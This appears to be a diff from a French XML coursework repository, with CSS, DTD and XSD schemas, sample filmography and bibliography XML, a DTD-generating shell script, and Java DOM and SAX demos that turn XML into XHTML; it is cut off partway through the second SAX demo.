margin-left: -15pt; |
|||
display: block; |
|||
} |
|||
|
|||
biographie:before { |
|||
content: "Biographie: "; |
|||
} |
|||
|
|||
infos:before { |
|||
content: "Informations: "; |
|||
} |
|||
|
|||
citations:before { |
|||
content: "Citations: "; |
|||
} |
|||
|
|||
mariages:before { |
|||
content: "Mariages: "; |
|||
} |
|||
|
|||
mariage:before { |
|||
content: attr(debut) " - " attr(fin) " : "; |
|||
font-weight: bold; |
|||
} |
|||
|
|||
mariage:after { |
|||
content: " (" attr(conclusion) ")"; |
|||
} |
|||
|
|||
mariage { |
|||
display: block; |
|||
} |
|||
|
|||
|
|||
alias, resume { |
|||
display: block; |
|||
text-indent: -15pt; |
|||
margin-left: 15pt; |
|||
} |
|||
|
|||
role, citations citation, info { |
|||
display: list-item; |
|||
list-style-position: inside; |
|||
} |
|||
|
|||
citation { |
|||
font-style: italic; |
|||
} |
|||
|
|||
citation:before, citation:after { |
|||
content: "\""; |
|||
} |
|||
|
|||
nom { |
|||
font-variant: small-caps; |
|||
} |
|||
|
|||
p, resume, alias, biographie, infos, citations, mariages { |
|||
margin-bottom: 5pt; |
|||
} |
|||
|
|||
i { |
|||
font-style: italic; |
|||
} |
|||
|
|||
filmographie { |
|||
padding: 5pt; |
|||
} |
|||
|
|||
resumes, aliases, roles, perso { |
|||
padding: 5pt; |
|||
margin: 20pt; |
|||
} |
|||
|
|||
@ -0,0 +1,30 @@ |
|||
<!ELEMENT filmographie (resumes,aliases,perso,roles)> |
|||
<!ELEMENT resumes (resume*)> |
|||
<!ELEMENT resume (#PCDATA|i|liste)*> |
|||
<!ELEMENT aliases (alias*)> |
|||
<!ELEMENT alias (#PCDATA)> |
|||
<!ELEMENT perso (nom,naissance,mort?,biographie,mariages,infos,citations)> |
|||
<!ELEMENT nom (#PCDATA)> |
|||
<!ELEMENT naissance (#PCDATA)> |
|||
<!ELEMENT mort (#PCDATA)> |
|||
<!ELEMENT biographie (p+)> |
|||
<!ELEMENT p (#PCDATA|i|citation)*> |
|||
<!ELEMENT i (#PCDATA|i)*> |
|||
<!ELEMENT mariages (mariage*)> |
|||
<!ELEMENT mariage (#PCDATA)> |
|||
<!ELEMENT infos (info*)> |
|||
<!ELEMENT info (#PCDATA)> |
|||
<!ELEMENT citations (citation*)> |
|||
<!ELEMENT citation (#PCDATA)> |
|||
<!ELEMENT roles (role+)> |
|||
<!ELEMENT role (#PCDATA)> |
|||
<!ELEMENT liste (entree*)> |
|||
<!ELEMENT entree (#PCDATA)> |
|||
<!ATTLIST alias date CDATA #REQUIRED filmref IDREF #REQUIRED pays CDATA #IMPLIED > |
|||
<!ATTLIST citation auteur CDATA #IMPLIED id ID #IMPLIED > |
|||
<!ATTLIST info date CDATA #IMPLIED > |
|||
<!ATTLIST mariage conclusion CDATA #IMPLIED debut CDATA #REQUIRED fin CDATA #IMPLIED > |
|||
<!ATTLIST mort annee CDATA #REQUIRED jour CDATA #REQUIRED lieu CDATA #REQUIRED mois CDATA #REQUIRED > |
|||
<!ATTLIST naissance annee CDATA #REQUIRED jour CDATA #REQUIRED lieu CDATA #REQUIRED mois CDATA #REQUIRED > |
|||
<!ATTLIST resume filmref ID #REQUIRED img CDATA #IMPLIED pdf CDATA #IMPLIED realisateur CDATA #REQUIRED > |
|||
<!ATTLIST role date CDATA #REQUIRED filmref IDREF #REQUIRED misc CDATA #IMPLIED personnage CDATA #REQUIRED > |
|||
@ -0,0 +1,6 @@ |
|||
for i in filmographie resumes resume aliases alias perso nom naissance mort biblio p mariages mariage infos info citations citation roles role; do echo '<!ELEMENT' "$i ANY>"; done > film.dtd |
|||
|
|||
xmllint --valid --noout minibergman.xml 2>&1 |grep minibergman.xml |sed -r 's/.*attribute ([^ ]+) of element ([^ ]+)/\1 \2/' |sort |uniq > listeAtts |
|||
|
|||
for i in $(awk '{print $2}' < listeAtts |sort |uniq) ; do echo -n '<!ATTLIST' "$i "; for j in $(awk "\$2 == \"$i\" {print \$1}" < listeAtts); do echo -n "$j CDATA #IMPLIED " ; done ; echo ">"; done >>film.dtd |
|||
|
|||
@ -0,0 +1,59 @@ |
|||
<?xml version="1.0"?> |
|||
<!DOCTYPE filmographie SYSTEM "./film.dtd"> |
|||
<?xml-stylesheet href="./film.css" type="text/css" ?> |
|||
<filmographie> |
|||
<resumes> |
|||
<resume filmref="f3" img="03.jpg" pdf="03.pdf" realisateur="Steven Martin">A documentary about the amazing life of Leon Theremin, inventor of the |
|||
<i>theremin</i>, the electronic musical instrument so beloved of 50s sci-fi movie music. Theremin amazed America with his instrument until his kidnapping by Soviet agents in the mid-30s. Upon his release from a labor camp, he worked on surveillance devices for the KGB. Almost 60 years later, he is brought back to America for a touching reunion with his friends and colleagues.</resume> |
|||
|
|||
<resume filmref="f7" img="07.gif" pdf="07.pdf" realisateur="Ingmar Bergman">After having neglected her children for many years, world famous pianist Charlotte visits her daughter Eva in her home. To her surprise she finds her other daughter, Helena, there as well. Helena is mentally impaired, and Eva has taken Helena out of the institution where their mother had placed her. The tension between Charlotte and Eva only builds up slowly, until a nightly conversation releases all the things they have wanted to tell each other.</resume> |
|||
</resumes> |
|||
|
|||
<aliases> |
|||
<alias filmref="f7" date="1978" pays="USA">Autumn Sonata</alias> |
|||
|
|||
<alias filmref="f7" date="1978" pays="West Germany">Herbstsonate</alias> |
|||
|
|||
<alias filmref="f7" date="1978" pays="France">Sonate d'automne</alias> |
|||
</aliases> |
|||
|
|||
<perso> |
|||
<nom>Ingrid Bergman</nom> |
|||
|
|||
<naissance annee="1915" mois="August" jour="29" lieu="Stockholm, Sweden" /> |
|||
|
|||
<mort annee="1982" mois="August" jour="29" lieu="London, England, UK" /> |
|||
|
|||
<biographie> |
|||
<p>Ingrid Bergman was born in Stockholm, Sweden on August 29, 1915. The actress who would be one of the top draws of Hollywood in the 1940's had decided to become an actress after finishing her formal schooling. She had had a taste of acting when she was 17 when she played an uncredited role of a girl standing in line in the Swedish film |
|||
<i>Landskamp</i> (1932) in 1932. Not much of a beginning for a girl who would be known as Her parents had died when she was just a girl and the uncle she lived with didn't want to stand in the way of Ingrid's dream.</p> |
|||
</biographie> |
|||
|
|||
<mariages> |
|||
<mariage debut="1958" fin="1976" conclusion="divorce">Lars Schmidt</mariage> |
|||
|
|||
<mariage debut="1950" fin="1957" conclusion="divorce">Roberto Rossellini</mariage> |
|||
|
|||
<mariage debut="1937" fin="1950" conclusion="divorce">Dr. Petter Lindström</mariage> |
|||
</mariages> |
|||
|
|||
<infos> |
|||
<info>Mother of Isabella Rossellini, Isotta Rossellini and Pia Lindström.</info> |
|||
|
|||
<info>In 1933 she enrolled in the Royal Theatre of Dramatic Art but later changed to films instead.</info> |
|||
</infos> |
|||
|
|||
<citations> |
|||
<citation id="c1" auteur="Herself">The best way to keep young is to keep going in whatever it is that keeps you going. With me that's work, and a lot of it. And when a job is finished, relax and have fun.</citation> |
|||
|
|||
<citation id="c2" auteur="Herself">I've gone from saint to whore and back to saint again, all in one lifetime.</citation> |
|||
</citations> |
|||
</perso> |
|||
|
|||
<roles> |
|||
<role filmref="f3" personnage="Actress in 'Spellbound' Clip" date="1993" misc="(uncredited)">Theremin: An Electronic Odyssey</role> |
|||
|
|||
<role filmref="f7" personnage="Charlotte" date="1978">Höstsonaten</role> |
|||
</roles> |
|||
</filmographie> |
|||
|
|||
@ -0,0 +1,45 @@ |
|||
<?xml version="1.0" encoding="utf8"?> |
|||
<!DOCTYPE bibliographie SYSTEM "./biblio.dtd"> |
|||
<bibliographie |
|||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" |
|||
xsi:noNamespaceSchemaLocation="biblio.xsd"> |
|||
|
|||
<livre> |
|||
<titre>Mon chien, mon routeur Wifi et Moi</titre> |
|||
<auteur>Nicolas MASSE</auteur> |
|||
<infosEdition> |
|||
<editeur>O'Reilly</editeur> |
|||
<lieuEdition>USA</lieuEdition> |
|||
<lieuImpression>Evreux</lieuImpression> |
|||
<ISBN>012345678X</ISBN> |
|||
</infosEdition> |
|||
<avis>Très bien, c'est moi qui l'ai écrit !</avis> |
|||
</livre> |
|||
|
|||
<article> |
|||
<titre>Les schtroumpfs à la mer</titre> |
|||
<auteur>Peyo</auteur> |
|||
<infosPublication nomJournal="Les schtroumpfs - le collector"> |
|||
<pages>145 à 234</pages> |
|||
<anneePublication>2006</anneePublication> |
|||
<numeroJournal>23</numeroJournal> |
|||
</infosPublication> |
|||
<avis>Très bien (la schtroumpfette est en bikini)</avis> |
|||
</article> |
|||
|
|||
<livre> |
|||
<titre sousTitre="Courte introduction">Influence des technologies XML sur la reproduction des bactéries sous les aiselles des pingouins</titre> |
|||
<auteur>W3C</auteur> |
|||
<tomes> |
|||
<tome nbPages="874" /> |
|||
<tome nbPages="1265" sousTitre="Complément d'information"/> |
|||
</tomes> |
|||
<infosEdition> |
|||
<editeur>Les éditions désorganisées du Parti</editeur> |
|||
<lieuEdition>ex U.R.S.S.</lieuEdition> |
|||
<lieuImpression>Zimbabwe</lieuImpression> |
|||
<ISBN>1111111111</ISBN> |
|||
</infosEdition> |
|||
</livre> |
|||
</bibliographie> |
|||
|
|||
@ -0,0 +1,21 @@ |
|||
<!ELEMENT bibliographie (livre|article)*> |
|||
<!ELEMENT livre (titre,auteur+,tomes?,infosEdition,avis?)> |
|||
<!ELEMENT article (titre,auteur+,infosPublication,avis?)> |
|||
<!ELEMENT titre (#PCDATA)> |
|||
<!ELEMENT auteur (#PCDATA)> |
|||
<!ELEMENT tomes (tome*)> |
|||
<!ELEMENT tome EMPTY> |
|||
<!ELEMENT infosEdition (editeur,lieuEdition,lieuImpression,ISBN)> |
|||
<!ELEMENT editeur (#PCDATA)> |
|||
<!ELEMENT lieuEdition (#PCDATA)> |
|||
<!ELEMENT lieuImpression (#PCDATA)> |
|||
<!ELEMENT ISBN (#PCDATA)> |
|||
<!ELEMENT infosPublication (pages,anneePublication,numeroJournal)> |
|||
<!ELEMENT pages (#PCDATA)> |
|||
<!ELEMENT anneePublication (#PCDATA)> |
|||
<!ELEMENT numeroJournal (#PCDATA)> |
|||
<!ELEMENT avis (#PCDATA)> |
|||
<!ATTLIST infosPublication nomJournal CDATA "Feuille de Chou"> |
|||
<!ATTLIST titre sousTitre CDATA #IMPLIED> |
|||
<!ATTLIST tome nbPages CDATA #REQUIRED sousTitre CDATA #IMPLIED> |
|||
|
|||
@ -0,0 +1,96 @@ |
|||
<?xml version="1.0" encoding="utf-8"?> |
|||
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"> |
|||
|
|||
<xsd:element name="bibliographie"> |
|||
<xsd:complexType> |
|||
<xsd:sequence> |
|||
<xsd:choice minOccurs="0" maxOccurs="unbounded"> |
|||
<xsd:element ref="livre" /> |
|||
<xsd:element ref="article" /> |
|||
</xsd:choice> |
|||
</xsd:sequence> |
|||
</xsd:complexType> |
|||
</xsd:element> |
|||
|
|||
<xsd:element name="livre"> |
|||
<xsd:complexType> |
|||
<xsd:sequence> |
|||
<xsd:element ref="titre" minOccurs="1" maxOccurs="1"/> |
|||
<xsd:element name="auteur" type="xsd:string" minOccurs="1" maxOccurs="unbounded"/> |
|||
<xsd:element ref="tomes" minOccurs="0" maxOccurs="1"/> |
|||
<xsd:element ref="infosEdition" minOccurs="1" maxOccurs="1"/> |
|||
<xsd:element name="avis" type="xsd:string" minOccurs="0" maxOccurs="1"/> |
|||
</xsd:sequence> |
|||
</xsd:complexType> |
|||
</xsd:element> |
|||
|
|||
<xsd:element name="article"> |
|||
<xsd:complexType> |
|||
<xsd:sequence> |
|||
<xsd:element ref="titre" minOccurs="1" maxOccurs="1"/> |
|||
<xsd:element name="auteur" type="xsd:string" minOccurs="1" maxOccurs="unbounded"/> |
|||
<xsd:element ref="infosPublication" minOccurs="1" maxOccurs="1"/> |
|||
<xsd:element name="avis" type="xsd:string" minOccurs="0" maxOccurs="1"/> |
|||
</xsd:sequence> |
|||
</xsd:complexType> |
|||
</xsd:element> |
|||
|
|||
<xsd:element name="infosEdition"> |
|||
<xsd:complexType> |
|||
<xsd:sequence> |
|||
<xsd:element name="editeur" type="xsd:string" minOccurs="1" maxOccurs="1"/> |
|||
<xsd:element name="lieuEdition" type="xsd:string" minOccurs="1" maxOccurs="1"/> |
|||
<xsd:element name="lieuImpression" type="xsd:string" minOccurs="1" maxOccurs="1"/> |
|||
<xsd:element name="ISBN" type="typeISBN" minOccurs="1" maxOccurs="1"/> |
|||
</xsd:sequence> |
|||
</xsd:complexType> |
|||
</xsd:element> |
|||
|
|||
<xsd:element name="infosPublication"> |
|||
<xsd:complexType> |
|||
<xsd:sequence> |
|||
<xsd:element name="pages" type="typePages" minOccurs="1" maxOccurs="1"/> |
|||
<xsd:element name="anneePublication" type="xsd:gYear" minOccurs="1" maxOccurs="1"/> |
|||
<xsd:element name="numeroJournal" type="xsd:positiveInteger" minOccurs="1" maxOccurs="1"/> |
|||
</xsd:sequence> |
|||
<xsd:attribute name="nomJournal" type="xsd:string" use="required"/> |
|||
</xsd:complexType> |
|||
</xsd:element> |
|||
|
|||
<xsd:element name="tomes"> |
|||
<xsd:complexType> |
|||
<xsd:sequence> |
|||
<xsd:element ref="tome" minOccurs="1" maxOccurs="unbounded"/> |
|||
</xsd:sequence> |
|||
</xsd:complexType> |
|||
</xsd:element> |
|||
|
|||
<xsd:element name="tome"> |
|||
<xsd:complexType> |
|||
<xsd:attribute name="nbPages" type="xsd:positiveInteger" use="required" /> |
|||
<xsd:attribute name="sousTitre" type="xsd:string" /> |
|||
</xsd:complexType> |
|||
</xsd:element> |
|||
|
|||
<xsd:element name="titre"> |
|||
<xsd:complexType> |
|||
<xsd:simpleContent> |
|||
<xsd:extension base="xsd:string"> |
|||
<xsd:attribute name="sousTitre" type="xsd:string" use="optional"/> |
|||
</xsd:extension> |
|||
</xsd:simpleContent> |
|||
</xsd:complexType> |
|||
</xsd:element> |
|||
|
|||
<xsd:simpleType name="typeISBN"> |
|||
<xsd:restriction base="xsd:string"> |
|||
<xsd:pattern value="\d{9}[0-9X]"/> |
|||
</xsd:restriction> |
|||
</xsd:simpleType> |
|||
|
|||
<xsd:simpleType name="typePages"> |
|||
<xsd:restriction base="xsd:string"> |
|||
<xsd:pattern value="\d+ à \d+"/> |
|||
</xsd:restriction> |
|||
</xsd:simpleType> |
|||
</xsd:schema> |
|||
@ -0,0 +1,158 @@ |
|||
// DomParserDemo.java
|
|||
// Modifie un arbre DOM
|
|||
|
|||
import javax.xml.parsers.DocumentBuilder; |
|||
import javax.xml.parsers.DocumentBuilderFactory; |
|||
import javax.xml.parsers.FactoryConfigurationError; |
|||
import javax.xml.parsers.ParserConfigurationException; |
|||
|
|||
import org.xml.sax.SAXException; |
|||
import org.xml.sax.SAXParseException; |
|||
|
|||
import java.io.File; |
|||
import java.io.IOException; |
|||
|
|||
import org.w3c.dom.Document; |
|||
import org.w3c.dom.Element; |
|||
import org.w3c.dom.Node; |
|||
import org.w3c.dom.NodeList; |
|||
import org.w3c.dom.DOMException; |
|||
import org.w3c.dom.NamedNodeMap; |
|||
|
|||
import java.util.*; |
|||
|
|||
public class DOMParserDemo { |
|||
public void performDemo(String uri) { |
|||
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); |
|||
try { |
|||
DocumentBuilder builder = factory.newDocumentBuilder(); |
|||
Document doc = builder.parse(new File(uri)); |
|||
|
|||
doc = transform(doc); |
|||
printNode(doc); |
|||
} catch (Throwable t) { |
|||
t.printStackTrace (); |
|||
System.exit (1); |
|||
} |
|||
|
|||
System.exit (0); |
|||
} |
|||
|
|||
public Document transform(Document doc) { |
|||
Element root = doc.getDocumentElement(); |
|||
NodeList rnl = root.getChildNodes(); |
|||
|
|||
//
|
|||
Node ge = null; |
|||
Node me = null; |
|||
Node de = null; |
|||
|
|||
int s = rnl.getLength(); |
|||
for (int i = 0; i < s; i++) { |
|||
Node n = rnl.item(i); |
|||
if (n instanceof Element) { |
|||
String name = n.getNodeName(); |
|||
if ("groupes".equals(name)) { |
|||
ge = n; |
|||
} else if ("musiciens".equals(name)) { |
|||
me = n; |
|||
} else if ("disques".equals(name)) { |
|||
de = n; |
|||
} |
|||
} |
|||
} |
|||
|
|||
Map<String, Node> groups = new HashMap<String, Node>(); |
|||
Map<String, Node> groups2 = new HashMap<String, Node>(); |
|||
|
|||
NodeList groupList = ge.getChildNodes(); |
|||
s = groupList.getLength(); |
|||
for (int i = 0; i < s; i++) { |
|||
Node element = groupList.item(i); |
|||
if (element instanceof Element) { |
|||
NamedNodeMap att = element.getAttributes(); |
|||
Node tmp = me.cloneNode(false); |
|||
element.appendChild(tmp); |
|||
groups.put(att.getNamedItem("id").getNodeValue(), tmp); |
|||
tmp = de.cloneNode(false); |
|||
element.appendChild(tmp); |
|||
groups2.put(att.getNamedItem("id").getNodeValue(), tmp); |
|||
} |
|||
} |
|||
|
|||
NodeList musicienList = me.getChildNodes(); |
|||
s = musicienList.getLength(); |
|||
for (int i = 0; i < s; i++) { |
|||
Node element = musicienList.item(i); |
|||
if (element instanceof Element) { |
|||
NamedNodeMap att = element.getAttributes(); |
|||
String attVal = att.getNamedItem("groupe").getNodeValue(); |
|||
((Node) groups.get(attVal)).appendChild(element); |
|||
} |
|||
} |
|||
|
|||
NodeList disqueList = de.getChildNodes(); |
|||
s = disqueList.getLength(); |
|||
for (int i = 0; i < s; i++) { |
|||
Node element = disqueList.item(i); |
|||
if (element instanceof Element) { |
|||
NamedNodeMap att = element.getAttributes(); |
|||
String attVal = att.getNamedItem("groupe").getNodeValue(); |
|||
((Node) groups2.get(attVal)).appendChild(element); |
|||
} |
|||
} |
|||
|
|||
root.removeChild(de); |
|||
root.removeChild(me); |
|||
|
|||
return doc; |
|||
} |
|||
|
|||
public void p(Object o) { |
|||
System.out.println(o); |
|||
} |
|||
|
|||
public void printNode(Node node) { |
|||
switch (node.getNodeType()) { |
|||
case Node.DOCUMENT_NODE: |
|||
Document doc = (Document) node; |
|||
System.out.println("<?xml version=\"1.0\"?>"); |
|||
printNode(doc.getDocumentElement()); |
|||
break; |
|||
case Node.ELEMENT_NODE: |
|||
System.out.print("<"+node.getNodeName()); |
|||
NamedNodeMap attributs = node.getAttributes(); |
|||
for (int i=0; i<attributs.getLength(); i++) { |
|||
System.out.print(" " + |
|||
attributs.item(i).getNodeName() + "=\"" + |
|||
attributs.item(i).getNodeValue() + "\""); |
|||
} |
|||
System.out.print(">"); |
|||
NodeList children = node.getChildNodes(); |
|||
if (children != null) { |
|||
for (int i=0; i<children.getLength(); i++) { |
|||
printNode(children.item(i)); |
|||
} |
|||
} |
|||
System.out.print("</"+node.getNodeName()+">"); |
|||
break; |
|||
|
|||
case Node.TEXT_NODE: |
|||
System.out.print(node.getNodeValue()); |
|||
break; |
|||
} |
|||
} |
|||
|
|||
public static void main(String[] argv) { |
|||
if (argv.length != 1) { |
|||
System.err.println ("Usage: cmd filename > sortie"); |
|||
System.exit (1); |
|||
} |
|||
|
|||
String uri = argv[0]; |
|||
//System.out.println("En train de traiter fichier "+uri);
|
|||
DOMParserDemo parserDemo = new DOMParserDemo(); |
|||
parserDemo.performDemo(uri); |
|||
} |
|||
} |
|||
|
|||
@ -0,0 +1,202 @@ |
|||
// SAXParserDemo.java
|
|||
//
|
|||
// Parse avec l'Api SAX un document XML
|
|||
// Transformation XML --> HTML
|
|||
// +traitement des attributs
|
|||
// Document pour l'ENSICAEN
|
|||
|
|||
import java.io.*; |
|||
import org.xml.sax.*; |
|||
import org.xml.sax.helpers.DefaultHandler; |
|||
import javax.xml.parsers.SAXParserFactory; |
|||
import javax.xml.parsers.SAXParser; |
|||
|
|||
public class SAXParserDemo extends DefaultHandler { |
|||
|
|||
private StringBuffer str; |
|||
|
|||
private String anneeDisque = null; |
|||
|
|||
public static void main (String argv[]) |
|||
throws IOException { |
|||
if (argv.length != 1) { |
|||
System.err.println |
|||
("Usage: SAXParserDemo fichierSource > fichierCible"); |
|||
System.exit (1); |
|||
} |
|||
|
|||
DefaultHandler handler = new SAXParserDemo(); |
|||
SAXParserFactory factory = SAXParserFactory.newInstance(); |
|||
try { |
|||
SAXParser saxParser = factory.newSAXParser(); |
|||
saxParser.parse( new File(argv[0]), handler ); |
|||
} catch (Throwable t) { |
|||
t.printStackTrace (); |
|||
System.exit (2); |
|||
} |
|||
System.exit (0); |
|||
} |
|||
|
|||
|
|||
public SAXParserDemo() { |
|||
this.str = new StringBuffer(); |
|||
} |
|||
|
|||
public void error(SAXParseException e) |
|||
throws SAXParseException { |
|||
throw e; |
|||
} |
|||
|
|||
|
|||
public void startDocument () |
|||
throws SAXException { |
|||
this.cat("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"); |
|||
this.cat("<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n"); |
|||
this.cat("<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\">\n"); |
|||
this.cat("<head>\n"); |
|||
this.cat("<title>Conversions XML -> XHTML</title>\n"); |
|||
this.cat("<link rel=\"stylesheet\" type=\"text/css\" href=\"style.css\" title=\"default style\"/>\n"); |
|||
this.cat("</head>\n"); |
|||
this.cat("<body>\n"); |
|||
} |
|||
|
|||
public void endDocument () |
|||
throws SAXException { |
|||
this.cat("</body>"); |
|||
this.cat("</html>"); |
|||
System.out.println(this.str.toString()); |
|||
} |
|||
|
|||
public void startElement (String namespaceURI, |
|||
String simpleName, |
|||
String qualifiedName, |
|||
Attributes attrs) |
|||
throws SAXException { |
|||
|
|||
String name = null; |
|||
|
|||
// System.err.println("namespaceURI: " + namespaceURI + ", simpleName: " + ", qualifiedName: " + qualifiedName);
|
|||
|
|||
|
|||
if (namespaceURI.length() == 0) { |
|||
name = qualifiedName; |
|||
} else { |
|||
name = simpleName; |
|||
} |
|||
|
|||
|
|||
if ("groupes".equals(name)) { |
|||
this.cat("<table><thead><tr><td>Photo</td><td>Nom</td></tr></thead><tbody>\n"); |
|||
} |
|||
|
|||
if ("groupe".equals(name)) { |
|||
String img = "img_disco/" + attrs.getValue("img"); |
|||
String url = attrs.getValue("url"); |
|||
this.cat("<tr><td><img src=\""); |
|||
this.cat(img); |
|||
this.cat("\" alt=\"image du groupe\" width=\"100\" height=\"100\"/></td><td><a href=\""); |
|||
this.cat(url); |
|||
this.cat("\">"); |
|||
} |
|||
|
|||
if ("musiciens".equals(name)) { |
|||
this.cat("<table><thead><tr><td>Nom</td><td>Instruments</td><td>Biographie</td></tr></thead><tbody>"); |
|||
} |
|||
|
|||
if ("musicien".equals(name)) { |
|||
this.cat("<tr><td>"); |
|||
} |
|||
|
|||
if ("instruments".equals(name)) { |
|||
this.cat("</td><td>"); |
|||
} |
|||
|
|||
if ("bio".equals(name)) { |
|||
String att = null; |
|||
this.cat("<td>"); |
|||
|
|||
att = attrs.getValue("naissance"); |
|||
if (! "-".equals(att)) { |
|||
this.cat(att); |
|||
} |
|||
|
|||
att = attrs.getValue("mort"); |
|||
if (! "-".equals(att)) { |
|||
this.cat(" - "); |
|||
this.cat(att); |
|||
} |
|||
|
|||
this.cat("</td>"); |
|||
} |
|||
|
|||
if ("disques".equals(name)) { |
|||
this.cat("<table><thead><tr><td>Photo</td><td>Titre, année</td></tr></thead><tbody>"); |
|||
} |
|||
|
|||
|
|||
if ("disque".equals(name)) { |
|||
String img = "img_disco/" + attrs.getValue("img"); |
|||
this.anneeDisque = attrs.getValue("annee"); |
|||
this.cat("<tr><td><img src=\""); |
|||
this.cat(img); |
|||
this.cat("\" alt=\"image du disque\" width=\"100\" height=\"100\"/></td><td>"); |
|||
} |
|||
|
|||
} |
|||
|
|||
public void endElement (String namespaceURI, |
|||
String simpleName, |
|||
String qualifiedName) |
|||
throws SAXException { |
|||
String name = ""; |
|||
|
|||
if (namespaceURI.length() == 0) { |
|||
name = qualifiedName; |
|||
} else { |
|||
name = simpleName; |
|||
} |
|||
|
|||
if ("groupes".equals(name)) { |
|||
this.cat("</tbody></table>"); |
|||
} |
|||
|
|||
if ("groupe".equals(name)) { |
|||
this.cat("</a></td></tr>"); |
|||
} |
|||
|
|||
if ("musiciens".equals(name)) { |
|||
this.cat("</tbody></table>"); |
|||
} |
|||
|
|||
if ("musicien".equals(name)) { |
|||
this.cat("</tr>"); |
|||
} |
|||
|
|||
if ("instruments".equals(name)) { |
|||
this.cat("</td>"); |
|||
} |
|||
|
|||
if ("disques".equals(name)) { |
|||
this.cat("</tbody></table>"); |
|||
} |
|||
|
|||
if ("disque".equals(name)) { |
|||
this.cat(", "); |
|||
this.cat(this.anneeDisque); |
|||
this.cat("</td></tr>"); |
|||
} |
|||
|
|||
} |
|||
|
|||
public void characters (char buf [], int offset, int len) |
|||
throws SAXException { |
|||
// String(byte[] bytes, int offset, int length)
|
|||
this.cat(new String(buf, offset, len)); |
|||
} |
|||
|
|||
|
|||
private void cat(String str) { |
|||
this.str.append(str); |
|||
} |
|||
|
|||
} |
|||
@ -0,0 +1,194 @@ |
|||
// SAXParserDemo.java
|
|||
//
|
|||
// Parse avec l'Api SAX un document XML
|
|||
// Transformation XML --> HTML
|
|||
// +traitement des attributs
|
|||
// Document pour l'ENSICAEN
|
|||
|
|||
import java.io.*; |
|||
import org.xml.sax.*; |
|||
import org.xml.sax.helpers.DefaultHandler; |
|||
import javax.xml.parsers.SAXParserFactory; |
|||
import javax.xml.parsers.SAXParser; |
|||
|
|||
public class SAXParserDemo2 extends DefaultHandler { |
|||
|
|||
private StringBuffer str; |
|||
private boolean write; |
|||
|
|||
|
|||
private String anneeDisque = null; |
|||
|
|||
public static void main (String argv[]) |
|||
throws IOException { |
|||
if (argv.length != 1) { |
|||
System.err.println |
|||
("Usage: SAXParserDemo2 fichierSource > fichierCible"); |
|||
System.exit (1); |
|||
} |
|||
|
|||
DefaultHandler handler = new SAXParserDemo2(); |
|||
SAXParserFactory factory = SAXParserFactory.newInstance(); |
|||
try { |
|||
SAXParser saxParser = factory.newSAXParser(); |
|||
saxParser.parse( new File(argv[0]), handler ); |
|||
} catch (Throwable t) { |
|||
t.printStackTrace (); |
|||
System.exit (2); |
|||
} |
|||
System.exit (0); |
|||
} |
|||
|
|||
|
|||
public SAXParserDemo2() { |
|||
this.str = new StringBuffer(); |
|||
this.write = false; |
|||
} |
|||
|
|||
public void error(SAXParseException e) |
|||
throws SAXParseException { |
|||
throw e; |
|||
} |
|||
|
|||
|
|||
public void startDocument () throws SAXException { |
|||
this.cat("<?xml version=\"1.0\" encoding=\"UTF-8\"?>"); |
|||
this.cat("<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">"); |
|||
this.cat("<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\">"); |
|||
this.cat("<head>"); |
|||
this.cat("<title>Conversions XML -></title>"); |
|||
this.cat("<link rel=\"stylesheet\" type=\"text/css\" href=\"style2.css\" title=\"default style\"/>\n"); |
|||
this.cat("</head>"); |
|||
this.cat("<body>"); |
|||
|
|||
} |
|||
|
|||
public void endDocument () |
|||
throws SAXException { |
|||
this.cat("</body>"); |
|||
this.cat("</html>"); |
|||
System.out.println(this.str.toString()); |
|||
} |
|||
|
|||
public void startElement (String namespaceURI, |
|||
String simpleName, |
|||
String qualifiedName, |
|||
Attributes attrs) |
|||
throws SAXException { |
|||
|
|||
String name = null; |
|||
|
|||
// System.err.println("namespaceURI: " + namespaceURI + ", simpleName: " + ", qualifiedName: " + qualifiedName);
|
|||
|
|||
|
|||
if (namespaceURI.length() == 0) { |
|||
name = qualifiedName; |
|||
} else { |
|||
name = simpleName; |
|||
} |
|||
|
|||
|
|||
if ("groupes".equals(name)) { |
|||
this.cat("<table><thead><tr><td>Photo</td><td>Musiciens</td><td>Disques</td></tr></thead><tbody>"); |
|||
} |
|||
|
|||
if ("groupe".equals(name)) { |
|||
String img = "img_disco/" + attrs.getValue("img"); |
|||
String url = attrs.getValue("url"); |
|||
this.cat("<tr><td><img src=\""); |
|||
this.cat(img); |
|||
this.cat("\" alt=\"image du groupe\" width=\"100\" height=\"100\"/></td>"); |
|||
} |
|||
|
|||
if ("musiciens".equals(name)) { |
|||
this.cat("<td><ul>"); |
|||
} |
|||
|
|||
if ("musicien".equals(name)) { |
|||
this.cat("<li>"); |
|||
this.write = true; |
|||
} |
|||
|
|||
if ("instruments".equals(name)) { |
|||
this.write = false; |
|||
} |
|||
|
|||
if ("bio".equals(name)) { |
|||
this.write = false; |
|||
} |
|||
|
|||
|
|||
if ("disques".equals(name)) { |
|||
this.cat("<td><table>"); |
|||
} |
|||
|
|||
|
|||
if ("disque".equals(name)) { |
|||
String img = "img_disco/" + attrs.getValue("img"); |
|||
this.anneeDisque = attrs.getValue("annee"); |
|||
this.cat("<tr><td><img src=\""); |
|||
this.cat(img); |
|||
this.cat("\" alt=\"image du disque\" width=\"100\" height=\"100\"/></td><td>"); |
|||
this.cat(attrs.getValue("annee")); |
|||
this.cat("</td><td>"); |
|||
this.write = true; |
|||
} |
|||
} |
|||
|
|||
public void endElement (String namespaceURI, |
|||
String simpleName, |
|||
String qualifiedName) |
|||
throws SAXException { |
|||
String name = ""; |
|||
|
|||
if (namespaceURI.length() == 0) { |
|||
name = qualifiedName; |
|||
} else { |
|||
name = simpleName; |
|||
} |
|||
|
|||
if ("groupes".equals(name)) { |
|||
this.cat("</tbody></table>"); |
|||
} |
|||
|
|||
if ("groupe".equals(name)) { |
|||
this.cat("</tr>"); |
|||
} |
|||
|
|||
if ("musiciens".equals(name)) { |
|||
this.cat("</ul></td>"); |
|||
} |
